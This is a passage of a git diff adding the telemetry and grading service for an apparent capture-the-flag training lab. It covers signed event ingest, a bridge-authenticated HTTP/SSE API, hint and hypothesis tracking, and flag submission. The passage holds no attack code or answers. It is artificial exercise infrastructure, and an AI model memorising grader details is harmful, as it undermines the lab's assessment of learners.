+++ b/labs/open-world-target/telemetry/bin/open-world-event
@@ -0,0 +1,13 @@
+#!/bin/sh
+set -eu
+
+if [ -z "${LAB_SESSION_ID:-}" ] &&
+   [ -r /run/examserver-open-world/session-id ]
+then
+  IFS= read -r LAB_SESSION_ID < /run/examserver-open-world/session-id
+  export LAB_SESSION_ID
+fi
+
+exec /usr/bin/node \
+  /opt/examserver/open-world/telemetry/bin/emit-event.mjs \
+  "$@"
diff --git a/labs/open-world-target/telemetry/bin/open-world-telemetry-status b/labs/open-world-target/telemetry/bin/open-world-telemetry-status
new file mode 100644
index 0000000..e8d80ea
--- /dev/null
+++ b/labs/open-world-target/telemetry/bin/open-world-telemetry-status
@@ -0,0 +1,22 @@
+#!/bin/sh
+set -eu
+
+case "${1:-}" in
+  unavailable)
+    signal=SIGUSR1
+    ;;
+  live)
+    signal=SIGUSR2
+    ;;
+  *)
+    echo "usage: open-world-telemetry-status unavailable|live" >&2
+    exit 2
+    ;;
+esac
+
+/usr/bin/systemctl kill \
+  --kill-who=main \
+  --signal="$signal" \
+  open-world-telemetry.service
+
+echo "automatic detector status requested: $1"
diff --git a/labs/open-world-target/telemetry/bin/server.mjs b/labs/open-world-target/telemetry/bin/server.mjs
new file mode 100644
index 0000000..2cc8833
--- /dev/null
+++ b/labs/open-world-target/telemetry/bin/server.mjs
@@ -0,0 +1,118 @@
+#!/usr/bin/env node
+
+import { validateWorld } from "../../world/validate-world.mjs";
+import { WORLD } from "../../world/world-definition.mjs";
+import {
+  DEFAULT_EVENT_KEY_PATHS,
+  loadEventKeys,
+} from "../src/event-auth.mjs";
+import { createLabHttpServer } from "../src/http-server.mjs";
+import {
+  createEventIngestServer,
+  listenForEvents,
+} from "../src/ingest-server.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+import { JsonStateStore } from "../src/state-store.mjs";
+import { installDetectorStatusSignals } from "../src/status-control.mjs";
+
+function parsePort(value) {
+  const port = Number(value);
+  if (!Number.isInteger(port) || port < 1 || port > 65_535) {
+    throw new Error("LAB_HTTP_PORT must be an integer between 1 and 65535");
+  }
+  return port;
+}
+
+function inheritedSocketFd() {
+  if (
+    process.env.LISTEN_PID === String(process.pid) &&
+    process.env.LISTEN_FDS === "1"
+  ) {
+    return 3;
+  }
+  return null;
+}
+
+validateWorld(WORLD);
+
+const sessionId = process.env.LAB_SESSION_ID ?? "local-session";
+const telemetryStatus = process.env.LAB_TELEMETRY_STATUS ?? "live";
+const httpHost = process.env.LAB_HTTP_HOST ?? "127.0.0.1";
+const httpPort = parsePort(process.env.LAB_HTTP_PORT ?? "8787");
+const eventSocketPath =
+  process.env.LAB_EVENT_SOCKET ?? "/run/examserver-open-world/events.sock";
+const statePath =
+  process.env.LAB_STATE_PATH ??
+  "/var/lib/examserver-open-world/telemetry-state.json";
+const eventKeys = await loadEventKeys({
+  lowPath:
+    process.env.LAB_EVENT_LOW_KEY_FILE ?? DEFAULT_EVENT_KEY_PATHS.low,
+  rootPath:
+    process.env.LAB_EVENT_ROOT_KEY_FILE ?? DEFAULT_EVENT_KEY_PATHS.root,
+});
+const bridgeToken = process.env.TELEMETRY_BRIDGE_TOKEN;
+
+const store = new JsonStateStore(statePath);
+const storedState = await store.load();
+const engine = new SessionEngine({
+  world: WORLD,
+  sessionId,
+  telemetryStatus,
+  storedState,
+});
+const removeDetectorStatusSignals = installDetectorStatusSignals({ engine });
+const httpServer = createLabHttpServer({ engine, bridgeToken });
+const ingestServer = createEventIngestServer({ engine, eventKeys });
+
+let persistence = Promise.resolve();
+engine.on("change", () => {
+  const snapshot = engine.exportState();
+  persistence = persistence
+    .then(() => store.save(snapshot))
+    .catch((error) => {
+      process.stderr.write(`telemetry state save failed: ${error.message}\n`);
+    });
+});
+
+await new Promise((resolve, reject) => {
+  httpServer.once("error", reject);
+  httpServer.listen(httpPort, httpHost, () => {
+    httpServer.off("error", reject);
+    resolve();
+  });
+});
+await listenForEvents(ingestServer, {
+  socketPath: eventSocketPath,
+  fd: inheritedSocketFd(),
+});
+
+process.stdout.write(
+  `open-world telemetry ready http=${httpHost}:${httpPort} session=${sessionId}\n`,
+);
+
+let stopping = false;
+async function stop() {
+  if (stopping) return;
+  stopping = true;
+  removeDetectorStatusSignals();
+  const httpClosed = new Promise((resolve) => httpServer.close(resolve));
+  httpServer.closeAllConnections();
+  await Promise.all([
+    httpClosed,
+    new Promise((resolve) => ingestServer.close(resolve)),
+  ]);
+  await persistence;
+}
+
+for (const signal of ["SIGINT", "SIGTERM"]) {
+  process.on(signal, () => {
+    stop()
+      .then(() => {
+        process.exitCode = 0;
+      })
+      .catch((error) => {
+        process.stderr.write(`telemetry shutdown failed: ${error.message}\n`);
+        process.exitCode = 1;
+      });
+  });
+}
diff --git a/labs/open-world-target/telemetry/package.json b/labs/open-world-target/telemetry/package.json
new file mode 100644
index 0000000..f0813bd
--- /dev/null
+++ b/labs/open-world-target/telemetry/package.json
@@ -0,0 +1,14 @@
+{
+  "name": "@examserver/open-world-telemetry",
+  "version": "1.0.0",
+  "private": true,
+  "type": "module",
+  "scripts": {
+    "test": "node --test tests/*.test.mjs",
+    "test:nfs-watch:linux": "python3 tests/nfs-watch.integration.py",
+    "validate:world": "node ../world/validate-private-answers.mjs"
+  },
+  "engines": {
+    "node": ">=20"
+  }
+}
diff --git a/labs/open-world-target/telemetry/src/errors.mjs b/labs/open-world-target/telemetry/src/errors.mjs
new file mode 100644
index 0000000..9f87ed8
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/errors.mjs
@@ -0,0 +1,26 @@
+export class LabError extends Error {
+  constructor(code, message, status = 400) {
+    super(message);
+    this.name = "LabError";
+    this.code = code;
+    this.status = status;
+  }
+}
+
+export function asPublicError(error) {
+  if (error instanceof LabError) {
+    return {
+      status: error.status,
+      body: { error: { code: error.code, message: error.message } },
+    };
+  }
+  return {
+    status: 500,
+    body: {
+      error: {
+        code: "internal_error",
+        message: "ラボ状態を処理できませんでした。",
+      },
+    },
+  };
+}
diff --git a/labs/open-world-target/telemetry/src/event-auth.mjs b/labs/open-world-target/telemetry/src/event-auth.mjs
new file mode 100644
index 0000000..ffd9d66
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/event-auth.mjs
@@ -0,0 +1,141 @@
+import { createHmac, timingSafeEqual } from "node:crypto";
+import { readFile } from "node:fs/promises";
+
+import { CANONICAL_EVENT_FIELDS } from "./event-validator.mjs";
+import { LabError } from "./errors.mjs";
+
+export const EVENT_SOURCE_SCOPES = Object.freeze({
+  "apache2.service": "low",
+  "smbd.service": "low",
+  "ssh.service": "root",
+  "nfs-server.service": "root",
+  "open-world-file-watch.service": "root",
+});
+
+export const DEFAULT_EVENT_KEY_PATHS = Object.freeze({
+  low: "/etc/examserver-open-world/event-keys/low.key",
+  root: "/etc/examserver-open-world/event-keys/root.key",
+});
+
+const WIRE_FIELDS = Object.freeze(
+  [...CANONICAL_EVENT_FIELDS, "authTag"].sort(),
+);
+
+function keyBuffer(value, scope) {
+  const buffer = Buffer.isBuffer(value)
+    ? value
+    : typeof value === "string"
+      ? Buffer.from(value, "utf8")
+      : null;
+  if (!buffer || buffer.length < 32 || buffer.length > 512) {
+    throw new Error(`${scope} event key must contain 32-512 bytes`);
+  }
+  return buffer;
+}
+
+function hasExactWireFields(value) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value) ||
+    (Object.getPrototypeOf(value) !== Object.prototype &&
+      Object.getPrototypeOf(value) !== null)
+  ) {
+    return false;
+  }
+  const keys = Object.keys(value).sort();
+  return (
+    keys.length === WIRE_FIELDS.length &&
+    keys.every((key, index) => key === WIRE_FIELDS[index])
+  );
+}
+
+export function sourceScope(sourceId) {
+  return EVENT_SOURCE_SCOPES[sourceId] ?? null;
+}
+
+export function canonicalEventPayload(event) {
+  const canonical = {};
+  for (const field of CANONICAL_EVENT_FIELDS) {
+    const value = event?.[field];
+    if (typeof value !== "string") {
+      throw new Error(`event field ${field} must be a string`);
+    }
+    canonical[field] = value;
+  }
+  return JSON.stringify(canonical);
+}
+
+export function signEvent(event, key) {
+  const scope = sourceScope(event?.sourceId);
+  if (!scope) throw new Error("event source has no authentication scope");
+  return createHmac("sha256", keyBuffer(key, scope))
+    .update(canonicalEventPayload(event), "utf8")
+    .digest("hex");
+}
+
+export function authenticateWireEvent(input, keys) {
+  if (!hasExactWireFields(input)) {
+    throw new LabError(
+      "event_auth_failed",
+      "教材イベントを認証できませんでした。",
+      403,
+    );
+  }
+  const scope = sourceScope(input.sourceId);
+  const suppliedTag =
+    typeof input.authTag === "string" && /^[a-f0-9]{64}$/.test(input.authTag)
+      ? Buffer.from(input.authTag, "hex")
+      : null;
+  if (!scope || !suppliedTag) {
+    throw new LabError(
+      "event_auth_failed",
+      "教材イベントを認証できませんでした。",
+      403,
+    );
+  }
+
+  const event = Object.freeze(
+    Object.fromEntries(
+      CANONICAL_EVENT_FIELDS.map((field) => [field, input[field]]),
+    ),
+  );
+  let expectedTag;
+  try {
+    expectedTag = Buffer.from(signEvent(event, keys?.[scope]), "hex");
+  } catch {
+    throw new LabError(
+      "event_auth_failed",
+      "教材イベントを認証できませんでした。",
+      403,
+    );
+  }
+  if (
+    suppliedTag.length !== expectedTag.length ||
+    !timingSafeEqual(suppliedTag, expectedTag)
+  ) {
+    throw new LabError(
+      "event_auth_failed",
+      "教材イベントを認証できませんでした。",
+      403,
+    );
+  }
+  return event;
+}
+
+async function readEventKey(filePath, scope) {
+  const contents = await readFile(filePath);
+  const trimmed = Buffer.from(contents.toString("utf8").trim(), "utf8");
+  return keyBuffer(trimmed, scope);
+}
+
+export async function loadEventKeys({
+  lowPath = DEFAULT_EVENT_KEY_PATHS.low,
+  rootPath = DEFAULT_EVENT_KEY_PATHS.root,
+} = {}) {
+  const [low, root] = await Promise.all([
+    readEventKey(lowPath, "low"),
+    readEventKey(rootPath, "root"),
+  ]);
+  return Object.freeze({ low, root });
+}
diff --git a/labs/open-world-target/telemetry/src/event-validator.mjs b/labs/open-world-target/telemetry/src/event-validator.mjs
new file mode 100644
index 0000000..dc61fa6
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/event-validator.mjs
@@ -0,0 +1,133 @@
+import { createHash } from "node:crypto";
+
+import { LabError } from "./errors.mjs";
+
+export const CANONICAL_EVENT_FIELDS = Object.freeze([
+  "sessionId",
+  "kind",
+  "nodeId",
+  "sourceId",
+  "evidenceCode",
+  "occurredAt",
+]);
+const EVENT_KEYS = Object.freeze([
+  "evidenceCode",
+  "kind",
+  "nodeId",
+  "occurredAt",
+  "sessionId",
+  "sourceId",
+]);
+const SAFE_IDENTIFIER = /^[A-Za-z0-9][A-Za-z0-9_.-]{0,95}$/;
+const SAFE_SESSION_ID = /^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;
+
+export function eventRouteKey({
+  kind,
+  nodeId,
+  sourceId,
+  evidenceCode,
+}) {
+  return `${kind}\u0000${nodeId}\u0000${sourceId}\u0000${evidenceCode}`;
+}
+
+export function buildEventRouteIndex(world) {
+  return new Map(
+    world.eventRoutes.map((route) => [eventRouteKey(route), route]),
+  );
+}
+
+function assertPlainObject(value) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value) ||
+    (Object.getPrototypeOf(value) !== Object.prototype &&
+      Object.getPrototypeOf(value) !== null)
+  ) {
+    throw new LabError("invalid_event", "教材イベントはobjectで指定します。");
+  }
+}
+
+function assertExactKeys(event) {
+  const keys = Object.keys(event).sort();
+  if (
+    keys.length !== EVENT_KEYS.length ||
+    keys.some((key, index) => key !== EVENT_KEYS[index])
+  ) {
+    throw new LabError(
+      "invalid_event_fields",
+      "教材イベントに許可されていない項目があります。",
+    );
+  }
+}
+
+function assertIdentifier(value, field) {
+  if (typeof value !== "string" || !SAFE_IDENTIFIER.test(value)) {
+    throw new LabError(
+      "invalid_event",
+      `${field}は許可済み識別子で指定します。`,
+    );
+  }
+}
+
+function assertTimestamp(value) {
+  if (
+    typeof value !== "string" ||
+    value.length > 32 ||
+    !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/.test(value) ||
+    Number.isNaN(Date.parse(value))
+  ) {
+    throw new LabError(
+      "invalid_event",
+      "occurredAtはUTCのISO 8601日時で指定します。",
+    );
+  }
+}
+
+export function validateEvent(input, { world, sessionId, routeIndex }) {
+  assertPlainObject(input);
+  assertExactKeys(input);
+
+  if (
+    typeof input.sessionId !== "string" ||
+    !SAFE_SESSION_ID.test(input.sessionId) ||
+    input.sessionId !== sessionId
+  ) {
+    throw new LabError(
+      "session_mismatch",
+      "このセッションの教材イベントではありません。",
+      409,
+    );
+  }
+
+  assertIdentifier(input.kind, "kind");
+  assertIdentifier(input.nodeId, "nodeId");
+  assertIdentifier(input.sourceId, "sourceId");
+  assertIdentifier(input.evidenceCode, "evidenceCode");
+  assertTimestamp(input.occurredAt);
+
+  const normalized = Object.freeze({
+    sessionId: input.sessionId,
+    kind: input.kind,
+    nodeId: input.nodeId,
+    sourceId: input.sourceId,
+    evidenceCode: input.evidenceCode,
+    occurredAt: new Date(input.occurredAt).toISOString(),
+  });
+  const route =
+    (routeIndex ?? buildEventRouteIndex(world)).get(
+      eventRouteKey(normalized),
+    ) ?? null;
+  if (!route) {
+    throw new LabError(
+      "event_not_allowlisted",
+      "この送信元と教材イベントの組み合わせは許可されていません。",
+      403,
+    );
+  }
+
+  const fingerprint = createHash("sha256")
+    .update(JSON.stringify(normalized), "utf8")
+    .digest("hex");
+  return { event: normalized, route, fingerprint };
+}
diff --git a/labs/open-world-target/telemetry/src/http-server.mjs b/labs/open-world-target/telemetry/src/http-server.mjs
new file mode 100644
index 0000000..88b0d34
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/http-server.mjs
@@ -0,0 +1,249 @@
+import { timingSafeEqual } from "node:crypto";
+import http from "node:http";
+
+import { asPublicError, LabError } from "./errors.mjs";
+
+const MAX_JSON_BODY_BYTES = 4096;
+const MIN_BRIDGE_TOKEN_LENGTH = 32;
+const MAX_BRIDGE_TOKEN_LENGTH = 512;
+
+function validateBridgeToken(value) {
+  if (
+    typeof value !== "string" ||
+    value.length < MIN_BRIDGE_TOKEN_LENGTH ||
+    value.length > MAX_BRIDGE_TOKEN_LENGTH ||
+    /[\s\u0000-\u001f\u007f]/.test(value)
+  ) {
+    throw new Error(
+      "TELEMETRY_BRIDGE_TOKEN must contain 32-512 visible non-whitespace characters",
+    );
+  }
+  return value;
+}
+
+function hasValidBearer(request, bridgeToken) {
+  const authorization = request.headers.authorization;
+  if (
+    typeof authorization !== "string" ||
+    !authorization.startsWith("Bearer ")
+  ) {
+    return false;
+  }
+  const supplied = Buffer.from(authorization.slice("Bearer ".length), "utf8");
+  const expected = Buffer.from(bridgeToken, "utf8");
+  return (
+    supplied.length === expected.length &&
+    timingSafeEqual(supplied, expected)
+  );
+}
+
+function requireBridgeBearer(request, bridgeToken) {
+  if (!hasValidBearer(request, bridgeToken)) {
+    throw new LabError(
+      "unauthorized",
+      "Bridge認証を確認できません。",
+      401,
+    );
+  }
+}
+
+function writeJson(response, status, body) {
+  const payload = `${JSON.stringify(body)}\n`;
+  response.writeHead(status, {
+    "Cache-Control": "no-store",
+    "Content-Type": "application/json; charset=utf-8",
+    "Content-Length": Buffer.byteLength(payload),
+    "Referrer-Policy": "no-referrer",
+    "X-Content-Type-Options": "nosniff",
+  });
+  response.end(payload);
+}
+
+async function readJsonBody(request, { allowEmpty = false } = {}) {
+  const contentType = request.headers["content-type"];
+  if (
+    contentType !== undefined &&
+    !contentType.toLowerCase().startsWith("application/json")
+  ) {
+    throw new LabError(
+      "unsupported_media_type",
+      "JSONで送信してください。",
+      415,
+    );
+  }
+
+  let body = "";
+  for await (const chunk of request) {
+    body += chunk.toString("utf8");
+    if (Buffer.byteLength(body) > MAX_JSON_BODY_BYTES) {
+      throw new LabError(
+        "request_too_large",
+        "送信内容が大きすぎます。",
+        413,
+      );
+    }
+  }
+  if (body.length === 0 && allowEmpty) return {};
+  try {
+    const parsed = JSON.parse(body);
+    if (
+      parsed === null ||
+      typeof parsed !== "object" ||
+      Array.isArray(parsed)
+    ) {
+      throw new Error("body is not an object");
+    }
+    return parsed;
+  } catch {
+    throw new LabError("invalid_json", "JSONの形式を確認してください。");
+  }
+}
+
+function assertExactKeys(body, expectedKeys) {
+  const actualKeys = Object.keys(body).sort();
+  const sortedExpected = [...expectedKeys].sort();
+  if (
+    actualKeys.length !== sortedExpected.length ||
+    actualKeys.some((key, index) => key !== sortedExpected[index])
+  ) {
+    throw new LabError(
+      "invalid_request_fields",
+      "許可されていない入力項目があります。",
+    );
+  }
+}
+
+function decodePathId(value) {
+  try {
+    const decoded = decodeURIComponent(value);
+    if (
+      decoded.length === 0 ||
+      decoded.length > 128 ||
+      /[/?#\u0000-\u001f\u007f]/.test(decoded)
+    ) {
+      throw new Error("unsafe path id");
+    }
+    return decoded;
+  } catch {
+    throw new LabError("invalid_path", "URLの識別子が不正です。");
+  }
+}
+
+function writeSseState(response, projection) {
+  response.write(`id: ${projection.revision}\n`);
+  response.write("event: state\n");
+  response.write(`data: ${JSON.stringify(projection)}\n\n`);
+}
+
+export function createLabHttpServer({ engine, bridgeToken }) {
+  const requiredBridgeToken = validateBridgeToken(bridgeToken);
+  const clients = new Set();
+  const broadcast = (projection) => {
+    for (const response of clients) {
+      writeSseState(response, projection);
+    }
+  };
+  engine.on("change", broadcast);
+
+  const heartbeat = setInterval(() => {
+    for (const response of clients) response.write(": keepalive\n\n");
+  }, 15_000);
+  heartbeat.unref();
+
+  const server = http.createServer(async (request, response) => {
+    try {
+      const url = new URL(request.url ?? "/", "http://lab.local");
+      const pathName = url.pathname;
+
+      if (request.method === "GET" && pathName === "/healthz") {
+        writeJson(response, 200, { status: "ok" });
+        return;
+      }
+
+      requireBridgeBearer(request, requiredBridgeToken);
+
+      if (request.method === "GET" && pathName === "/api/session/state") {
+        writeJson(response, 200, engine.getProjection());
+        return;
+      }
+
+      if (request.method === "GET" && pathName === "/api/session/events") {
+        response.writeHead(200, {
+          "Cache-Control": "no-cache, no-store",
+          Connection: "keep-alive",
+          "Content-Type": "text/event-stream; charset=utf-8",
+          "Referrer-Policy": "no-referrer",
+          "X-Accel-Buffering": "no",
+          "X-Content-Type-Options": "nosniff",
+        });
+        response.write("retry: 2000\n");
+        const lastEventId = request.headers["last-event-id"];
+        if (typeof lastEventId === "string") {
+          response.write(`: reconnect-after ${lastEventId.slice(0, 32)}\n`);
+        }
+        writeSseState(response, engine.getProjection());
+        clients.add(response);
+        request.on("close", () => clients.delete(response));
+        return;
+      }
+
+      const selectMatch = pathName.match(
+        /^\/api\/session\/hypotheses\/([^/]+)\/select$/,
+      );
+      if (request.method === "POST" && selectMatch) {
+        const body = await readJsonBody(request, { allowEmpty: true });
+        assertExactKeys(body, []);
+        const result = engine.selectHypothesis(decodePathId(selectMatch[1]));
+        writeJson(response, 200, result.projection);
+        return;
+      }
+
+      const hintMatch = pathName.match(
+        /^\/api\/session\/hints\/([^/]+)\/unlock$/,
+      );
+      if (request.method === "POST" && hintMatch) {
+        const body = await readJsonBody(request, { allowEmpty: true });
+        assertExactKeys(body, []);
+        const result = engine.unlockHint(decodePathId(hintMatch[1]));
+        writeJson(response, 200, result.projection);
+        return;
+      }
+
+      if (
+        request.method === "POST" &&
+        pathName === "/api/session/flags/submit"
+      ) {
+        const body = await readJsonBody(request);
+        assertExactKeys(body, ["flag"]);
+        const result = engine.submitManualFlag(body.flag);
+        writeJson(response, 200, {
+          accepted: result.accepted,
+          message: result.accepted
+            ? "flagを確認しました。"
+            : "flagを確認できませんでした。入力を見直してください。",
+          state: result.projection,
+        });
+        return;
+      }
+
+      writeJson(response, 404, {
+        error: {
+          code: "not_found",
+          message: "このAPIはありません。",
+        },
+      });
+    } catch (error) {
+      const publicError = asPublicError(error);
+      writeJson(response, publicError.status, publicError.body);
+    }
+  });
+
+  server.on("close", () => {
+    clearInterval(heartbeat);
+    engine.off("change", broadcast);
+    for (const response of clients) response.end();
+    clients.clear();
+  });
+
+  return server;
+}
diff --git a/labs/open-world-target/telemetry/src/ingest-server.mjs b/labs/open-world-target/telemetry/src/ingest-server.mjs
new file mode 100644
index 0000000..5ebfebe
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/ingest-server.mjs
@@ -0,0 +1,141 @@
+import net from "node:net";
+
+import { authenticateWireEvent } from "./event-auth.mjs";
+import { asPublicError, LabError } from "./errors.mjs";
+
+const MAX_EVENT_BYTES = 8192;
+export const EVENT_INGEST_DEADLINE_MS = 1_500;
+export const MAX_EVENT_CONNECTIONS = 64;
+
+function reply(socket, body) {
+  socket.end(`${JSON.stringify(body)}\n`, () => {
+    // A peer can keep its writable half open after receiving our FIN. Release the
+    // accepted socket as soon as the bounded reply has been flushed.
+    socket.destroy();
+  });
+}
+
+export function createEventIngestServer({ engine, eventKeys }) {
+  const server = net.createServer((socket) => {
+    socket.setEncoding("utf8");
+    let body = "";
+    let completed = false;
+    const deadline = setTimeout(() => {
+      if (!complete()) return;
+      const error = asPublicError(
+        new LabError(
+          "event_timeout",
+          "教材イベントの受信が時間内に完了しませんでした。",
+          408,
+        ),
+      );
+      reply(socket, error.body);
+    }, EVENT_INGEST_DEADLINE_MS);
+
+    function complete() {
+      if (completed) return false;
+      completed = true;
+      clearTimeout(deadline);
+      return true;
+    }
+
+    socket.on("data", (chunk) => {
+      if (completed) return;
+      body += chunk;
+      if (Buffer.byteLength(body) > MAX_EVENT_BYTES) {
+        complete();
+        const error = asPublicError(
+          new LabError(
+            "event_too_large",
+            "教材イベントが大きすぎます。",
+            413,
+          ),
+        );
+        reply(socket, error.body);
+        return;
+      }
+      const newline = body.indexOf("\n");
+      if (newline === -1) return;
+      complete();
+
+      const line = body.slice(0, newline);
+      if (body.slice(newline + 1).trim().length > 0) {
+        const error = asPublicError(
+          new LabError(
+            "multiple_events",
+            "1接続につき1イベントだけ送信します。",
+          ),
+        );
+        reply(socket, error.body);
+        return;
+      }
+
+      try {
+        const input = authenticateWireEvent(JSON.parse(line), eventKeys);
+        const result = engine.applyEvent(input);
+        reply(socket, {
+          accepted: true,
+          changed: result.changed,
+          revision: result.projection.revision,
+        });
+      } catch (error) {
+        const publicError = asPublicError(error);
+        reply(socket, publicError.body);
+      }
+    });
+
+    socket.on("end", () => {
+      if (!completed && body.length > 0) {
+        complete();
+        try {
+          const input = authenticateWireEvent(JSON.parse(body), eventKeys);
+          const result = engine.applyEvent(input);
+          reply(socket, {
+            accepted: true,
+            changed: result.changed,
+            revision: result.projection.revision,
+          });
+        } catch (error) {
+          const publicError = asPublicError(error);
+          reply(socket, publicError.body);
+        }
+      } else if (!completed) {
+        complete();
+      }
+    });
+
+    socket.on("error", () => {
+      complete();
+      // The sender receives failure through its own connection. Never log payloads.
+    });
+    socket.on("close", () => {
+      clearTimeout(deadline);
+    });
+  });
+  server.maxConnections = MAX_EVENT_CONNECTIONS;
+  return server;
+}
+
+export async function listenForEvents(server, { socketPath, fd = null }) {
+  if (fd !== null) {
+    await new Promise((resolve, reject) => {
+      server.once("error", reject);
+      server.listen({ fd }, () => {
+        server.off("error", reject);
+        resolve();
+      });
+    });
+    return;
+  }
+
+  if (typeof socketPath !== "string" || socketPath.length === 0) {
+    throw new Error("event socket path is required");
+  }
+  await new Promise((resolve, reject) => {
+    server.once("error", reject);
+    server.listen(socketPath, () => {
+      server.off("error", reject);
+      resolve();
+    });
+  });
+}
diff --git a/labs/open-world-target/telemetry/src/projection.mjs b/labs/open-world-target/telemetry/src/projection.mjs
new file mode 100644
index 0000000..5e830f8
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/projection.mjs
@@ -0,0 +1,150 @@
+function byId(items) {
+  return new Map(items.map((item) => [item.id, item]));
+}
+
+function recentEventMessage(world, item) {
+  if (item.routeId === "manual.flag.accepted") {
+    const node = world.nodes.find((candidate) => candidate.id === item.nodeId);
+    return `${node?.label ?? "flag"}を手動提出で確認した。`;
+  }
+  return (
+    world.eventRoutes.find((route) => route.id === item.routeId)?.message ??
+    "新しい事実を確認した。"
+  );
+}
+
+export function buildProjection(world, state) {
+  const nodes = byId(world.nodes);
+  const hypotheses = byId(world.hypotheses);
+  const discovered = new Set(state.discoveredNodeIds);
+  const selectedHypothesis = hypotheses.get(state.selectedHypothesisId) ?? null;
+
+  const visibleNodeIds = new Set(discovered);
+  for (const entranceId of world.entranceIds) {
+    visibleNodeIds.add(entranceId);
+  }
+  if (discovered.size > 0) {
+    for (const edge of world.edges) {
+      if (discovered.has(edge.from)) visibleNodeIds.add(edge.to);
+      if (discovered.has(edge.to)) visibleNodeIds.add(edge.from);
+    }
+  }
+
+  const graphNodes = world.nodes
+    .filter((node) => visibleNodeIds.has(node.id))
+    .map((node) => {
+      const isDiscovered = discovered.has(node.id);
+      const isSelected =
+        selectedHypothesis?.anchorNodeId === node.id && visibleNodeIds.has(node.id);
+      const projected = {
+        id: node.mapId,
+        state: isSelected
+          ? "selected"
+          : isDiscovered
+            ? "discovered"
+            : "undiscovered",
+      };
+      if (isDiscovered) {
+        projected.label = node.label;
+        projected.detail = node.detail;
+        projected.kind = node.kind;
+        projected.icon = node.icon;
+        projected.progress = "発見済み";
+      }
+      return projected;
+    });
+
+  const visibleMapIds = new Set(graphNodes.map((node) => node.id));
+  const graphEdges = world.edges
+    .filter((edge) => {
+      const from = nodes.get(edge.from);
+      const to = nodes.get(edge.to);
+      return (
+        visibleMapIds.has(from.mapId) &&
+        visibleMapIds.has(to.mapId) &&
+        (discovered.has(edge.from) || discovered.has(edge.to))
+      );
+    })
+    .map((edge) => ({
+      from: nodes.get(edge.from).mapId,
+      to: nodes.get(edge.to).mapId,
+      state:
+        discovered.has(edge.from) && discovered.has(edge.to)
+          ? "discovered"
+          : "available",
+    }));
+
+  const projectedHypotheses = state.unlockedHypothesisIds.map(
+    (hypothesisId) => {
+      const hypothesis = hypotheses.get(hypothesisId);
+      return {
+        id: hypothesis.id,
+        label: hypothesis.label,
+        summary: hypothesis.summary,
+        selected: hypothesis.id === state.selectedHypothesisId,
+        available: true,
+      };
+    },
+  );
+
+  const hintUnlockCount =
+    state.hintUnlocks[state.selectedHypothesisId] ?? 0;
+  const projectedHints = selectedHypothesis
+    ? selectedHypothesis.hints.map((hint, index) => {
+        const step = index + 1;
+        const hintState =
+          index < hintUnlockCount
+            ? "unlocked"
+            : index === hintUnlockCount
+              ? "available"
+              : "locked";
+        const projected = {
+          id: `${selectedHypothesis.id}:${step}`,
+          step,
+          title: hint.title,
+          state: hintState,
+        };
+        if (hintState === "unlocked") projected.body = hint.body;
+        return projected;
+      })
+    : [];
+
+  return {
+    experience: "live",
+    sessionId: state.sessionId,
+    status: state.capturedFlagIds.includes("flag-root-common")
+      ? "complete"
+      : "active",
+    revision: state.revision,
+    facts: state.discoveredNodeIds.map((nodeId) => {
+      const node = nodes.get(nodeId);
+      return {
+        id: node.mapId,
+        label: node.label,
+        detail: node.detail,
+        icon: node.icon,
+      };
+    }),
+    hypotheses: projectedHypotheses,
+    graph: {
+      nodes: graphNodes,
+      edges: graphEdges,
+    },
+    hints: projectedHints,
+    progress: {
+      discovered: state.capturedFlagIds.length,
+      total: world.flags.length,
+    },
+    recentEvents: state.recentEvents.map((item) => ({
+      id: item.id,
+      at: item.at,
+      message: recentEventMessage(world, item),
+    })),
+    telemetry: {
+      status: state.telemetryStatus,
+    },
+    capabilities: {
+      manualFlagSubmission: true,
+    },
+  };
+}
diff --git a/labs/open-world-target/telemetry/src/session-engine.mjs b/labs/open-world-target/telemetry/src/session-engine.mjs
new file mode 100644
index 0000000..dd5a84a
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/session-engine.mjs
@@ -0,0 +1,365 @@
+import { EventEmitter } from "node:events";
+
+import {
+  verifyFlagAnswer,
+} from "../../world/flag-verifiers.mjs";
+import { WORLD } from "../../world/world-definition.mjs";
+import {
+  buildEventRouteIndex,
+  validateEvent,
+} from "./event-validator.mjs";
+import { LabError } from "./errors.mjs";
+import { buildProjection } from "./projection.mjs";
+
+const TELEMETRY_STATUSES = new Set([
+  "live",
+  "reconnecting",
+  "unavailable",
+]);
+const MAX_RECENT_EVENTS = 20;
+
+function uniqueKnown(values, knownIds, label) {
+  if (!Array.isArray(values) || values.some((value) => !knownIds.has(value))) {
+    throw new Error(`stored ${label} contains unknown values`);
+  }
+  return [...new Set(values)];
+}
+
+function createInitialState(world, sessionId, telemetryStatus) {
+  return {
+    version: 1,
+    sessionId,
+    revision: 0,
+    discoveredNodeIds: [],
+    capturedFlagIds: [],
+    unlockedHypothesisIds: [...world.initialHypothesisIds],
+    selectedHypothesisId: world.initialHypothesisIds[0] ?? null,
+    hintUnlocks: Object.fromEntries(
+      world.initialHypothesisIds.map((hypothesisId) => [hypothesisId, 0]),
+    ),
+    seenEventFingerprints: [],
+    recentEvents: [],
+    telemetryStatus,
+  };
+}
+
+function restoreState(world, sessionId, telemetryStatus, storedState) {
+  if (!storedState) return createInitialState(world, sessionId, telemetryStatus);
+  if (
+    storedState.version !== 1 ||
+    storedState.sessionId !== sessionId ||
+    !Number.isSafeInteger(storedState.revision) ||
+    storedState.revision < 0
+  ) {
+    throw new Error("stored state does not match this session");
+  }
+
+  const nodeIds = new Set(world.nodes.map((node) => node.id));
+  const flagIds = new Set(world.flags.map((flag) => flag.id));
+  const hypothesisIds = new Set(
+    world.hypotheses.map((hypothesis) => hypothesis.id),
+  );
+  const routeIds = new Set([
+    ...world.eventRoutes.map((route) => route.id),
+    "manual.flag.accepted",
+  ]);
+  const unlockedHypothesisIds = uniqueKnown(
+    storedState.unlockedHypothesisIds,
